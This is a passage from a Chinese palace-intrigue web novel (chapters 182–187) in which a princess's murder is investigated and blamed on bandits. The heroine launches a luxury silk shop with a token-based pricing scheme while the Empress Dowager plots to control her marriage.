若晏逐星直接拿出去花,无异于自投罗网。 可银票若是落在他们王爷手里,自然有法子将这些银票的来路抹平,重新当做普通银票使用。 “言之有理。”谢翊宁被他一提醒,也想起了这要紧的事情。 “那银票本王就收下了。” 他将银票重新拿了回来。 决定之后找个机会,重新再给晏逐星送点银子去。 “照夜,停云,你们扫尾。”谢翊宁吩咐下去后,领着晏逐星先去了京郊他的别苑。 照夜与停云应声而动,利落地拔下尸身上的箭矢收好,地上的箭矢也没有遗漏。 而后抄起地上山匪们散落的斧刀,对准箭伤处狠狠劈砍下去,彻底毁去了箭矢留下的痕迹。 每一具尸体他们都仔细检查,确保没有遗漏后,便将证物塞到了明宵的尸体上。 而后方才离开。 * 大长公主府内。 驸马李兰亭一夜未眠。 他躺在床上翻来覆去,心里想着朝华大长公主出城的事情,睡意全无。 “朝华一定不会出事的,她带了府中精锐的暗卫,旁人怎么可能伤得了她。” “嗯,很快朝华就会回来的,到时候我们可以一起去祭奠福安。” 他忍不住自言自语,唯有这样才能减轻他心里的焦虑。 直到寅时三刻,城门开了,他猛地从床上坐了起来,将管事的叫来:“快,去看看,殿下回城了么。” “是。”管事应下,当即去查探。 没过多久便急匆匆地返回了公主府。 “驸马爷,城外并无公主车马的痕迹。” 李兰亭的表情瞬间变得有些难看。 他咬牙追问:“其他的人呢?一个都没有回来么?” 管事也意识到了情况不妙,他僵硬地摇了摇头。 李兰亭一颗心沉到了谷底。 他有预感,朝华大长公主出事了。 “备马,我要出城。” 管事不敢耽误,当即按他吩咐去办。 李兰亭率领公主府精锐护卫快马加鞭冲出城门,一路疾驰奔向昨日信上写的那个地点。 越靠近那座荒宅,风里的腥气愈发明显。 李兰亭的心猛地一沉,生出了一股不祥的预感。 他下意识地收紧了握着缰绳的手。 队伍在残破的院门前猛地勒住。 马匹不安地喷着响鼻,原地踏蹄。 李兰亭的视线落在了门口的一个匍匐在地的身影上。 那身影裹着的,正是昨日朝华出府时那身月白色的素衣。 李兰亭只觉得眼前一黑,气血瞬间逆流冲上头顶,耳边嗡鸣一片。身体不受控制地一晃,他竟直接从马鞍上踉跄栽下。 若非亲卫眼疾手快扑过来搀扶,他几乎要一头撞在冰冷的地面上。 “朝华——!!!” 他猛地甩开搀扶的亲卫,几乎是连滚带爬地扑向那个身影。 那张曾经倾国倾城、冷艳逼人的脸,此刻沾满了污秽与干涸的血迹,双目紧闭,了无生气。 真的是她,是他的朝华。 他一句话都说不出来,喉头像是被堵了一层棉花。 他小心翼翼地将朝华大长公主的尸体抱到了怀里,小心翼翼地将脸贴到了她脸上。 朝华最爱美了,如今惨死在这个荒无人烟的地方,落得如此下场,一定很难过。 “别怕,朝华,我带你回家。” 他轻声呢喃。 而后掏出帕子仔细地替她清理脸上的污血和尘土。 公主府的亲卫们大气都不敢喘,全都处于震惊当中。 他们还是不敢相信,朝华大长公主竟然死了? 李兰亭替朝华大长公主清理干净脸颊后,将她的尸身安置在了昨日她出府时乘坐来此的马车上,如同安放一件稀世珍宝。 而后才有空去仔细看现场究竟发生了什么。 目光所及之处,断墙下、焦木旁、血泊中,横七竖八,层层叠叠都是尸体。 看得出来,昨夜这里发生了一场混战。 李兰亭确认昨日朝华大长公主带出来的人全都死在了这里,无一活口。 沉默片刻后,他翻身上马,亲自驾着马车带着朝华大长公主回京。 他没有回公主府。 第182章 案情有反转 天刚破晓,太和殿内,百官肃立,早朝正欲结束。 突然,外边传来了殿前侍卫统领厉声怒喝:“何人胆敢擅闯金銮殿?!” 文武百官下意识地想要回头去看,但又不敢。 这时,另一道愤怒的声音响起,比先前殿前侍卫的声音更高更亮。 “开门!让路!本官要面圣!谁敢阻拦,格杀勿论!” 这下,文武百官们终于忍不住了,他们都想知道谁胆子那么大,竟然敢在皇上面前嚷嚷格杀勿论。 龙椅上的文昭帝抬头看向了殿门。 只见驸马都尉李兰亭双目赤红,身后背着什么东西,一步一步踏入了殿内。 百官们脸上的表情从惊讶到疑惑,等到看清李兰亭身上背着的是什么时,脸上的神色瞬间变得惊恐。 驸马身上背的竟然是朝华大长公主的……遗体?! 李兰亭对那些指向他的刀剑和大臣们异样的目光视若无睹。 他眼里只有为朝华大长公主复仇的决绝。 他背着朝华大长公主走到大殿中央方才缓缓停下。 他将朝华大长公主小心翼翼地平放在地上,“噗通”一声重重跪倒在她冰冷的遗体旁。 而后他用力将额头狠狠磕在坚硬的金砖上。 满朝百官无人敢言。 再抬起头时,在众人惊愕的注视下,李兰亭用尽全身力气发出一声撕心裂肺的嘶吼: “求皇上为殿下做主!为天家血脉伸冤!严惩凶徒!” 此言一出,满朝哗然。 什么人胆子那么大,竟然敢谋害朝华大长公主? “皇姐……” 文昭帝没想到和朝华大长公主再次见面竟然会是这样的场景。 上一次见面,还是朝华大长公主入宫让他给福安郡主做主。 如今才过了多久,就变成了驸马来宫里让他给朝华大长公主做主。 “究竟发生了什么事?”文昭帝问出了在场所有人的心声。 李兰亭哽咽着将昨日发生的事情说了出来。 整个朝堂瞬间陷入了前所未有的死一般的寂静。 但这寂静并未持续太久。 户部侍郎站了出来,一脸严肃地开口:“天子脚下,朗朗乾坤,竟有如此恶徒。臣恳请陛下彻查,严惩恶贼,以慰公主殿下在天之灵!” 他乃驸马之父李崇简的学生,今日驸马闯入大殿为朝华大长公主求一个公道,他于情于理都该站出来帮他一把。 紧接着,如同积蓄已久的洪水决堤,整个大殿轰然沸腾。 一个又一个臣子站了出来。 “此乃骇人听闻之至。殿下千金之躯竟遭受此等毒手。此案若不查个水落石出,何以正国法?何以安民心?何以慰宗庙?臣请皇上即刻下旨,严查此事!” “凶手之猖狂,行径之残忍,人神共愤!驸马爷所见,必是铁证。求皇上下令彻查,务必将真凶及其背后主使连根拔起,处以极刑!” …… 一时间群臣激愤,文昭帝端坐于龙椅之上,脸色阴沉。 朝华大长公主的女儿福安郡主才死了没多久,如今,她竟也惨遭毒手。 这明显是被人蓄意杀害了。 此事必须严查。 “查。”文昭帝沉声下令,声音传遍了整个殿内。 刹那间,所有官员都闭上了嘴。 “即刻起,封锁皇城内外所有要道,严查可疑人等,凡有阻挠办案、销毁证据、通风报信者,格杀勿论!” “宫中护卫增派三倍人手,无朕手谕,任何人不得靠近公主灵枢半步!” 文昭帝一条条颁布指令,语气不容置疑。 “此案三司会审。宋元柏、申墨澜、纪青明。朕许你们便宜行事,先斩后奏之权。七日之内,给朕查出真相,将真凶捉拿归案。迟一日,提头来见!” 刑部、大理寺、都察院的几位被点名的官员只感觉肩头上沉甸甸的。 完了,这次若是查不出来,他们的脑袋就要彻底和官帽说再见了。 “臣遵旨。” 被点到名的大臣当机立断派人去查。 但这一查,反倒让他们愕然。 事情竟然这么简单? 杀害朝华大长公主的竟然是象山上的那群匪徒,而那群匪徒正是两年前被朝华大长公主府下人逼得被迫放弃良田和家宅的百姓。 这一反转让所有人都没想到。 李兰亭得知这个结果不肯相信,他勃然大怒,闹到了三司会审的衙门上。 “不可能,这一定是有心人故意陷害!他们怎么敢给公主府递信?” 但事实胜于雄辩。 象山上剩下的匪徒,都被抓回来了,他们都对朝华大长公主恨之入骨。 “他们明明收到的消息是富家千金和情郎私奔,这还不能说明有人故意诱导他们去那座宅子截杀殿下吗?” 李兰亭再一次厉声质问。 大理寺卿申墨澜不疾不徐地回答:“此乃道士明宵所为。” 他们在凶案现场,找到了一个不属于象山匪徒的尸体。 经查证,发现那是裴明镜先前办过的“定慈观妖道”一案的在逃人员明宵。 “明宵此人贪财好色,定慈观被毁,他没了银钱来源,便把主意打到了殿下头上。” “他得知殿下痛失爱女,以此要挟,想要从中骗取钱财。” “为了摆脱自己的嫌疑,他又找来了象山上的那群匪徒,想要伪造一个谋财害命的假象。” 大理寺卿将他们几人的推断告诉了李兰亭。 “不,不可能!” 李兰亭坚决不信朝华大长公主会死在区区一个妖道手中。 “若是如此,为何朝华身上带着的银票不翼而飞?一定还有人你们没抓到。”他一下就抓住了几人推断中的漏洞。 刑部尚书宋元柏淡定自若地回答:“应当是明宵的同伙带走了。他身上带着假的文书,经查证他入京登记时还有同伙。” 他们几个老油条自然知道这个案子查得这么顺利肯定有猫腻。 但证据摆在眼前,朝华大长公主确实做了许多恶事,死不足惜。 他们也没必要继续深查下去了。 毕竟,皇上只给了他们七日的期限,他们可不想提头去见皇上。 三司会审的结果出来没多久,当年被驱赶而幸免于落草为寇的百姓,怀揣着沉冤旧恨,毅然入京敲响了登闻鼓。 真相大白。 朝华大长公主那曾煊赫一时的名号,顷刻间便在千夫所指之下沦为了一滩污秽不堪、遗臭万年的泥淖。 就连福安郡主过往做的那些恶事也都被人翻了出来。 一时间,朝华大长公主母女人人喊打,无人再提捉拿“潜逃凶手同伙”之事。 “天杀的,那朝华大长公主真不是个东西,竟然抢咱们老百姓的田地,还逼死了那么多人。死得好,死得妙啊,这种人就不该活着。” “她那女儿也是,上梁不正下梁歪,被烧死了也是活该。小小年纪心肠歹毒。我家闺女连鸡都不敢杀,她竟然杀了那么多猫儿狗儿。这样下去,怕不是要杀人?” “就是就是,这种人就该天打五雷轰。” 诸如此类的辱骂声在街头巷尾时常能听到。 这些话传到李兰亭耳中,他目眦欲裂。 “一群刁民,他们懂什么?” “朝华明明给了他们银钱,怎么还要怪到朝华头上,是他们自己作恶,非要去当劫匪。” “福安只是年少贪玩,好奇而已,所以才杀了一些畜生,那算什么大事。” 他抱怨的话音落下,“啪”的一声,脸上就挨了一巴掌。 第183章 嫁去虎狼窝 “糊涂。” “时至今日,你竟然还不知道错在哪里了?” 李崇简恨铁不成钢地看着儿子。 “儿子何错之有!”李兰亭捂着脸,愤恨地看着父亲。 “福安是我的女儿,我替她报仇,天经地义!” 朝华大长公主的死可以说是山匪作乱,那他的女儿呢? 就那样被活活烧死在大街上,真凶至今逍遥法外,而女儿还要被万人唾骂。 岂有此理?! 李兰亭直直地盯着父亲,眼里闪着泪光:“福安可是您的亲孙女,她被人害死。您难道不想替她报仇吗?” 听他提起孙女,李崇简脸上也多了一抹悲痛。 听到那些传言时,他根本不敢相信那是她乖巧懂事的小孙女柔嘉。 见他表情有所松动,李兰亭哀求道:“父亲,福安最喜欢的就是您这个祖父,您若不找出真凶替她报仇雪恨,她九泉之下如何安息?” 李崇简叹了一口气,开口道:“明日我会请宋元柏到家里坐坐,让他对福安的案子多上点心。” “不,不用请他来了。儿子知道是谁害的福安!”李兰亭愤愤开口。 “是谁?”李崇简疑惑。 “晏、逐、星。定远侯的那个养女。一定是她!”李兰亭的语气像是恨不得生啖其肉。 “不止是福安,朝华的死也一定跟她脱不开干系。” 李崇简思索片刻,才想起来晏逐星究竟是何人。 “你可有证据?”他皱眉开口。 一个小姑娘,没有了侯府当倚仗,又无父无母,怎么可能杀害得了当朝公主和郡主。 “没有。”说到这,李兰亭咬紧了后槽牙。 朝华大长公主出事那日,他便派人去查了晏逐星的踪迹。 种种迹象和人证都表明那日她一直待在定远侯府里,不止一个人见过她。 他想把她牵扯到其中并不容易,毕竟明面上她和公主府毫无仇怨。 “既然没有,你怎么能言之凿凿地确认是她杀害了福安?”李崇简看着儿子,心底的失望再次涌了上来。 一把年纪了,怎么说话办事还和一个毛头小子一般不靠谱。 李兰亭张了张嘴,不知道该从何说起。 如果让父亲知道福安命人火烧晏逐星,导致上元节那日死伤了那么多百姓,他一定会很愤怒。 朝华派暗卫截杀晏逐星在前,还引发了定远侯的死,此事亦不能告知父亲。 但若不说,他又没办法向父亲证明此事就是晏逐星在复仇。 李兰亭第一次体会到了什么叫有苦说不出。 “行了,此事过去就过去了,你也莫要再执着,勿要做出令家族蒙羞之事!”李崇简看出了儿子眼底的不甘心,敲打了几句。 李兰亭眼底的光彩渐渐暗了下去。 父亲不肯帮他,那他就只能靠他自己了。 没有证据又如何,他认定晏逐星杀了他的妻女,那就是晏逐星干的。 除了她,不会有别人。 * 朝华大长公主的亡故,掀起了无数波澜。 其中当属太后最为悲痛,一度哭到昏厥好几回。 她这一生一共诞下一儿一女。 儿子小时候便夭折了,因而她对朝华大长公主倾注了所有感情。 她没想到,自己有朝一日竟然要白发人送黑发人。 她躺在床上,面色惨白:“宣驸马入宫,哀家有事要问他。” 没过多久,李兰亭来到了长乐宫。 看着两鬓斑白的太后,他心下有些酸楚。 原本他和朝华还想着,福安出嫁那日让太后到场给她撑腰,不曾想,这辈子都没有机会了。 太后哑着嗓子道:“兰亭,哀家不信他们说的朝华是被一群山匪所杀。你将事情原原本本地告诉哀家,不得隐瞒!” “太后娘娘,您一定要替殿下报仇啊。”李兰亭跪倒在太后跟前,将自己的猜测全都说了出来。 “晏逐星?好一个晏逐星。”太后气得猛地一拍茶几,剧烈咳嗽了起来。 报仇,毁了晏逐星。 这是两人同时生出的念头。 太后深吸一口气:“你将晏逐星的事情全都打听清楚,告诉哀家。哀家自有法子整治她。” 朝华和福安还是太年轻,不懂后宅才是真正的杀人不见血。 与其用那等粗暴的法子弄死她,不如将她嫁去虎狼窝里,让她这辈子都活在无尽的痛苦之中。 只是她不能莫名其妙就给一个民女赐婚,否则那群言官一定会抨击她破坏礼法与纲常,说她失德、昏聩。 她得想一个法子,先让晏逐星入宫陪她,将她高高架起,捧上云端极尽荣宠,等那些虚假的繁华蒙蔽了她的眼,再亲手将她推下万丈深渊。 李兰亭将这些日子打听到的关于晏逐星的消息,一字不落地告诉了太后。 得知晏逐星竟与谢翊宁关系匪浅,皇后还对晏逐星多有回护,太后眉峰骤然锁紧。 怪不得一个小小的民女就敢和她的朝华过不去,背后说不定有皇后和谢翊宁的帮忙。 太后深吸一口气,脑海里已经想好了该如何处置晏逐星。 怕驸马坏事,她沉声提醒:“哀家知晓了,你且回吧,莫要轻举妄动。” “是。”李兰亭带着满腔愤恨回了公主府。 接下来的日子,平静无波。 晏逐星并不知道太后和驸马在背后算计什么。 她一颗心全都扑到了流光缎上。 关万海那边已经把流光缎做了出来,反复实验了好几回,确认真的成功了,于是便快马加鞭派人将十匹完美无瑕的流光缎运送来了京城。 晏逐星将折叠齐整的流光缎徐徐展开,在案几上逐一抚平、细查。 一旁的衔蝉瞧见这些布匹惊得杏眼圆睁,低呼出声:“浮光锦?!小姐,您哪来的这么多?” 宫里今年不也才十匹么。 晏逐星唇角微扬,侧身让出位置:“莫急,你近前细看便知。” 衔蝉按捺住激动,小心翼翼捻起一角缎料。 触手冰凉滑腻,与顶级丝绸无异。 她凝神细看,指尖摩挲着缎面纹理,忽然“咦”了一声。 待反复确认后,她猛地抬头看向晏逐星,眼中震惊未退却又涌上巨大的惊喜:“小姐!这竟然不是浮光锦?” 可这波光流转的华彩分明神似浮光锦,日光之下若不细看几乎能以假乱真了。 “嗯。”晏逐星点了点头,眼中带着满意的光。 “此乃我特意与关家合力研制的新料子,名唤‘流光缎’。用料与织法上做了些调整,成本比浮光锦低廉不少。” “流光缎?真是好名字。”衔蝉喜不自胜,反复抚摸着缎面,越看越喜欢。 她忍不住感慨出声:“此物光泽虽比浮光锦略含蓄几分,却也足有七八分神韵了!天哪,这得省下多少银子?” “若定价在八十两银子一匹……” 晏逐星指尖轻点着流光缎,抬眸看向衔蝉,“你说,会有人买么?” 第184章 流光阁玉牌 “八十两一匹?”一旁的九栀和双鲤倒吸一口凉气。 也就是说按照他们二两银子的月银,她们得干三年多,不吃不喝才能买得起一匹这个料子? 这也太贵了吧! 衔蝉闻言却斩钉截铁地点头:“何止有人买!小姐,这简直是天大的划算!” 她激动地掰着手指细数起来。 “您是知道的,真正的浮光锦那可是贡品级别,一匹少说也得二百两银子!而且捧着银子也未必能寻着门路买得到。那织金云锦,一匹也稳稳当当卖一百两银子,京里那些贵主儿们还不是眼都不眨地抢着要?” 她越说越兴奋,脸颊都泛起了红晕,指着眼前流光溢彩的缎子道: “可咱们这流光缎呢。您瞧瞧这光泽、这质感,波光流转间,比织金云锦瞧着还鲜亮贵气,跟浮光锦摆在一处也丝毫不露怯。这样的好东西竟只卖八十两?” 被她这么一说,九栀和双鲤对视一眼,感觉这料子怎么还卖便宜了? 衔蝉出身永安王府,对京中贵夫人千金小姐们的了解自然比她们都多。 有了她这番话,晏逐星心下稍定。 前些日子,永安王执意要将那日从朝华大长公主那拿到的银两分她一份,晏逐星再一次拒绝。 永安王见状,倒也没非要她收下,结果转头就让停云将朱雀大街上一处二层楼面的铺子契书送了过来。 那铺子位置极佳,临着最繁华的街口,比他们先前看的铺子要好上太多倍。 晏逐星实在是难以拒绝,最终还是收下了。 她只感觉自己欠永安王的真是越来越多了,也不知道猴年马月才能还得清。 只能走一步看一步了。 若他有用得着她的地方,她一定会为他上刀山下火海。 晏逐星翻开关万海命人送来的账册,算了一下。 岭南丝料染材占十五两,关家织造损耗约十二两,漕运镖银并税赋又是十二两,如今无需铺面租金,再加上人工成本,一匹流光缎的成本约莫在四十一两银子左右。 一匹定价在八十两,比织金云锦低了二十两,却比寻常蜀锦翻倍不止。 等到来年匠人们技艺成熟,成本或许还可以再降低三四两银子。 物以稀为贵。 这流光缎是绝不能无限量供应的。 晏逐星想了想,决定一年只卖五百匹。 这样纯利润粗略算下来约莫有一万九千五百两,她占了五成,分到手的还不足一万两。 一万两乍一听很多,但她若想支援霍家军,这点银钱还是远远不够的。 晏逐星决定再在流光缎上想些法子多挣些钱。 只是那些想法还不太成熟,她打算等关万海来了,与他再仔细探讨一二。 当下最要紧的事情是找一个好的绣娘,用流光缎替她赶制一身认亲宴上穿的衣裳。 届时,她要艳惊四座,让京城人都知晓流光缎。 约莫过了三天,关万海总算到了京城。 “大小姐瞧见流光缎,可还满意?”关万海擦着额头的汗,一脸期待地看着晏逐星。 为了让晏逐星先看到缎子,他命人快马加鞭先把东西送回来,自己在后边吭哧吭哧地慢慢追赶。 总算到京城了。 “嗯,你们做得很不错。”晏逐星点了点头。 得了她这句夸赞,关万海笑得合不拢嘴。 “大小姐,您看咱们什么时候可以开卖这个流光缎呀?”他忍不住追问。 晏逐星把自己的打算说了出来。 得知永安王给她送了个铺子,关万海看她的眼神愈发佩服。 瞧瞧,一个身世不明的孤女,离开了定远侯府非但没有被踩入泥潭,反倒展翅高飞了。 先是当成了国公夫人的义女,如今又与永安王关系密切。 啧,他这一次可算是抱对大腿了。 “一年只卖五百匹,是不是太少了?”关万海看着金山银山就摆在自己面前,却不能装入怀里,心痒难耐得很。 “若卖得多了,什么人都能穿上,你觉得京中那些贵人还会来买么?”晏逐星意味深长地看着他。 关万海一凛,顿时意识到了自己被那巨大的利润冲昏了头,贪心太过。 若年产千匹,恐怕连醉花楼的头牌都能穿上,到时候京中贵夫人们谁还愿再买这流光缎。 “一切都听大小姐的。”关万海老老实实地答应了下来。 “不过关老板也不必太担心,咱们卖的可不止是这五百匹布。”她唇角噙着一丝狡黠,将桌上的茶盅推到关万海面前。 “那还能卖什么?”关万海一时间有些想不出来。 晏逐星将自己这几日琢磨出的法子细细道来。 “铺面开张前,咱们便可放出风声:凡欲购流光缎者,须先纳‘妆匣礼’入门。” “依礼金高低,赠我流光阁特制玉牌。” “礼金五百两者,赠金镶玉玉牌一份,每季可购流光缎五匹;礼金三百两者,赠银镶玉玉牌一份,每季可购三匹;礼金百两者,则赠素面青玉牌一块,每季可购一匹。” “持有玉牌者购买流光缎,八十两一匹,无玉牌者八十八两一匹。” “这些玉牌得卡着数量给,一样只能给十个名额。” “这样算起来一年给持有玉牌者的流光缎就去了三百六十匹。” 关万海听得双目圆睁。 按晏大小姐这般算法,岂非货物未售,便能先入账上万两白银? 若真能成事,这泼天的富贵便近在眼前了。 他按捺不住追问道:“大小姐此计妙啊。那剩下的一百四十匹怎么办?” 第185章 太后邀入宫 晏逐星喝了一口茶,不疾不徐地开口: “关老板无需担心,那些流光缎自有去处。” “无玉牌者若是想要求购流光缎,一年至多只能买两匹,且每买一匹必须得搭配着购买店内其他三件物品。簪钗荷包瓷器笔墨纸砚,任选其类,总归不得单买。” 关万海灵光一闪,脱口而出:“这些搭售之物的利钱,怕是比那流光缎还高出三成不止吧?” 晏逐星唇角微扬,笑而不语。 她这几日冥思苦想。 单卖流光缎虽然能挣钱,但对她来说远远不够。 她如今对其他生意知之甚少,倒不如在流光缎上下功夫,挖掘出流光缎更多的挣钱法子。 关万海听完顿时心潮澎湃,只感觉无数金山银山在向他招手,他拍着胸脯道:“好,一切都听您的吩咐,小人一定会盯紧岭南那边,绝对不会耽误了咱们的生意。” 晏逐星微微颔首应下,让他先去备货,她还得命人雕刻好流光缎的专属玉牌,为五月中旬流光阁开业做好准备。 就在国公府认亲宴前夕,烈国公夫人忽然来了晏宅,带给晏逐星一个让她意想不到的消息。 “您要带我进宫见太后?”晏逐星眉头下意识地皱了起来。 太后可是朝华大长公主的亲娘。 之前公主派人暗杀她的事,没准太后也知道。 这趟进宫,肯定没好事。 “是啊。”烈国公夫人还不知道晏逐星和公主府的过节,脸上带着笑,真心替她高兴,“太后那边传了话,说听说我要收你做义女,想看看你是什么模样。” “要是能得了太后的眼缘,往后你的前程少不了。” 晏逐星:“……” 前程? 见了太后,她不想着法儿整她就不错了。 想从太后那边要到好处,怕是只能等下辈子了。 但她和公主府的恩怨不能说出口,于是她不动声色道:“干娘说得对,那我明日便随您入宫。” “好,那我明日一早就派人来接你。你记得好好打扮打扮。”烈国公夫人高高兴兴地应下了。 烈国公夫人一走,九栀顿时露出了焦虑的神色。 “小姐,您当真要入宫么?太后那个死老太婆,肯定没安好心。” 听到这话,晏逐星“扑哧”笑出了声。 她点点头:“你说得对。她肯定不会那么好心要见我。” 一旁的双鲤也跟着急了:“小姐,那要不咱们装病别去了吧?” “不,要去。”晏逐星摇了摇头。 “太后真要见我,装病只能躲一回,总不每回都称病不去吧?” “再说了,装病的代价太大了,我得真病倒才行。否则太后要是派太医来替我诊治,戳穿了说我装病,那可是大不敬之罪。” 过两日就是认亲宴了,她不能真的病倒。 听她这么一说,几个丫鬟都露出了担忧的表情。 这也不行那也不行,这可如何是好啊。 “别怕。”晏逐星一摆手,拿定了主意。 “兵来将挡水来土掩,先进宫瞧瞧太后葫芦里到底卖的什么药。跟着干娘一块儿去,太后就算想动手也得顾忌几分,总比我单枪匹马去见她强。” 上辈子血的教训告诉她,逃避、躲藏、服软都是没用的东西。 面对敌人正面痛击,才是最好的防守。 “对,在宫里,太后怎么着都得顾及国公夫人的面子。无论如何,奴婢都会陪着小姐的。”衔蝉出言安慰。 晏逐星笑着点点头:“嗯,有你在,我就更安心了。” “不,有王爷在,奴婢才能安心。”衔蝉提议,“不如这事咱们跟王爷也说一声?” 晏逐星有些迟疑,这点小事也要告诉永安王么。 会不会太麻烦他了。 但转念一想,太后找她肯定和公主府的命案有关。 万一太后被朝华大长公主的死给刺激疯了,当场不管不顾就要了她的命,届时再给她扣一个大不敬的罪名,谁还敢说太后半个不字? 撑死了言官在折子上骂她几句昏聩。 可她都死了,太后挨骂有什么用。 她惜命得很。 好不容易重活一回,还没实现游遍大江南北,找到家里人的愿望,就这样被太后弄死,那多冤呐。 这么一想,晏逐星便不觉得麻烦谢翊宁是多大的事了。 “好,那你将明日我随干娘入宫见太后的事情告知王爷。” 衔蝉应下,快步回了永安王府。 谢翊宁得知晏逐星被太后叫到宫里,第一反应也是黄鼠狼给鸡拜年,没安好心。 太后大概率是要报复晏逐星。 他当机立断嘱咐衔蝉:“明日本王也会入宫探望父皇母后。最多半个时辰,若你家小姐没跟着烈国公夫人出来,本王自会去长乐宫要人。” “好。” 衔蝉高高兴兴地回了晏宅,将永安王的话转达给了晏逐星。 有了谢翊宁这番话,晏逐星更放心了。 烈国公夫人和永安王这双重保障在,她明日应该能平安回家。 她躺在床上,翻来覆去琢磨太后明天会怎么对付她。 不过想来想去,也就那几招: 要么揪着她礼仪上的错处不放,让她在众人面前出丑丢脸; 要么明面上夸几句,话里话外却藏着刀子,损得她抬不起头来; 再不然,就是逼她吃些来路不明的东西,或是寻个由头让她在冰冷的地上跪到天荒地老; 最狠的估计就是设个套让她钻,当场栽她一个“大不敬”或是“手脚不干净”的罪名。 横竖躲不过,明日入宫就只能打起十二万分精神,走一步看一步了。 晏逐星躺在床上,把能想到的刁难、羞辱、甚至杀招都在心里过了一遍。 可当她真真切切站在太后跟前时,浑身的防备却像一拳打在了棉花上。 她千算万算,唯独没算到,太后竟会这样对她。 第186章 不知道议亲 “哀家瞧着,这孩子当真一个可人儿。怪不得你会收她当义女。哀家看了心里也喜欢得紧,也想收她做个干孙女了。烈国公夫人,你不会怪哀家跟你抢人吧?” 太后话是对着烈国公夫人说的,眼神却是一直落在晏逐星身上没挪开。 晏逐星今日入宫,一直保持着低调行事的原则和态度。 除了一开始行礼,偶尔回应一两句太后的问话,全程几乎都没有张过口。 一直都是太后在和烈国公夫人闲谈。 现在仔细回想起来,太后一直在引导烈国公夫人说她的事情,刻意称赞了她好几回,像是在为认她当干孙女做铺垫。 天上不会掉馅饼。 太后那么恨她,又怎么可能给她“干孙女”这样的荣耀呢。 晏逐星猛地意识到,太后这一招是捧杀。 烈国公夫人闻言脸上瞬间绽放出惊喜又欣慰的笑容,眼中满是真诚的喜悦。 她只当是太后真心喜爱晏逐星。 她连忙起身,朝着太后深深一福,语气里是掩不住的高兴: “太后娘娘金口玉言,如此厚爱星儿,实乃这孩子几世修来的造化!臣妇替星儿叩谢太后娘娘天恩!” 说罢,她甚至喜不自禁地轻轻拉了拉旁边僵立着的晏逐星的衣袖,低声道,声音里满是鼓励: “星儿,快谢太后娘娘恩典呀。这可是天大的喜事!能得太后娘娘垂青,认作干孙女,这是多少人求都求不来的福分!” 在烈国公夫人看来,晏逐星得了太后的青眼,成了太后的干孙女。 身份地位瞬间就不同了。 日后在京城,谁还敢因为她无父无母轻视于她? 太后盯着晏逐星,等着她的回答。 见晏逐星迟迟不语,太后脸上的笑容带上了一抹冷意。 她冷冷开口:“怎么?你是瞧不上哀家?不愿认哀家当这个祖母?” 晏逐星露出惶恐的表情,毕恭毕敬道:“太后娘娘息怒!民女万万不敢!只不过乍一听闻这样的好消息,不敢相信。还请太后娘娘恕罪!” 她目光转向烈国公夫人,脸上适时地染上激动又带着点懵懂的红晕,仿佛真的被这天大的惊喜砸晕了头。 她的语气带着一丝天真的试探:“干娘,太后娘娘若成了星儿的干祖母,那星儿是不是就是郡主了?” 她故意提到“郡主”二字。 只见太后当场就变了脸色,眼中那强装出来的慈爱一瞬间烟消云散。 太后猛地收紧搭在凤座扶手上的手。 郡主,她的福安…… 这贱婢怎敢肖想郡主之位? 她也配? 太后强行压下心底翻涌的情绪,开口道:“我朝规制,宗室郡主自有法度。你非皇家血脉,骤然封为郡主未免惹人非议,于你、于哀家,都非好事。” 她顿了顿,语气带着一种居高临下的疏离,继续道: “不过,哀家既认你做干孙女,也不能委屈了你。封你个县主的虚衔,暂领俸禄,待你为养父守孝期满,再行正式册封之礼,倒也合情合理。” 晏逐星冷笑。 太后可真抠门,下诱饵都不舍得多撒点料。 施舍给她一个随时可以收回的县主空头衔,就想让她上钩? 真是挺能做梦的。 她眨着眼睛,仿佛被县主这个名头深深吸引了,脸上绽开纯粹又带着点小得意的笑容,佯装天真地追问道:“县主?那是不是说以后我就能嫁得更好啦?” 不等太后回答,她像是忽然想到什么天大的好事,猛地转过头一脸兴奋地看向烈国公夫人。 她的声音又脆又亮,带着毫不掩饰的憧憬: “干娘,您听见了吗?要是星儿当了县主,那您之前跟星儿提过的那位张公子,他家是不是就再也不敢嫌弃星儿配不上啦?到时候,我是不是就能顺顺当当地嫁过去了?” 烈国公夫人一头雾水。 哪来的张公子? 她什么时候跟星儿提了这么一个人? 嫁人? 怎么突然就要嫁人了? 烈国公夫人彻底凌乱。 不等她开口,太后就脱口而出:“不可。既为哀家的干孙女,你的终身大事自然得要哀家点头……” 她认这贱丫头当干孙女,就是为了名正言顺地插手、甚至掌控她的婚事。 把她指给一个最不堪、最能折磨她的人,让她求生不得求死不能,才能消她心头之恨,才能给福安和朝华报仇! 而不是真的让这贱丫头借着县主的名头高嫁。 原本还沉浸在喜悦中的烈国公夫人,顿时觉得不对劲。 她之前只觉得太后恩典来得突然,但总归是对星儿有好处。 但星儿几番追问下来,她也察觉到了太后并非真心实意想要认下星儿这个干孙女。 直到太后刚刚说出那话,她终于察觉到了问题出在哪里。 太后今日铺垫了那么多,哪里是什么恩典,恐怕是日后打算用婚事来拿捏星儿。 她非但不喜欢星儿,反而厌恶她至极。 烈国公夫人心底打了个寒噤,正欲跪下求太后收回认干孙女的成命,就听到宫婢匆匆跑了进来禀告。 “启禀太后娘娘,皇后娘娘和永安王来了。” 太后脸色顿时一变。 这个时候,皇后和谢翊宁来了准没好事。 说不定还会坏了她的事。 但她不能不见他们母子二人。 等到崔皇后和谢翊宁对她行完礼,太后方才脸色铁青开口道:“皇后和永安怎么来了?” “听闻烈国公夫人携义女入宫觐见,本宫与她甚是投缘,便想着过来瞧瞧。”崔皇后语调和缓,不疾不徐。 “正巧永安也在,得知本宫要来长乐宫请安便执意跟了来。这孩子心里可一直惦记着您老的身体呢。” “皇祖母说的是!”谢翊宁连忙接口,语气带着浓浓的关切,“您这些日子玉体欠安,时有晕眩,可把孙儿吓得不轻!” 太后:“……” 她信个鬼。 吓得不轻? 谢翊宁没放鞭炮庆祝她晕倒都算他有孝心了。 “嗯,永安有心了。”太后干巴巴地开口,看不出丝毫高兴。 寒暄了几句后,崔皇后看向了烈国公夫人,笑道:“本宫先前似乎听到你们在说什么县主,嫁人,张公子,这是怎么一回事呀?” 跟在皇后身边的谢翊宁瞥了晏逐星一眼,眼里满是错愕与不悦。 她要议亲了他怎么不知道? 还说他是自己人,这么大的事情都不告诉他。 骗子! 第187章 王爷误会了 皇后这一问,总算给烈国公夫人找到开口的机会了。 她赶忙躬身道:“回皇后娘娘。方才太后娘娘垂爱,说要认星儿为干孙女,还要赐封县主……” 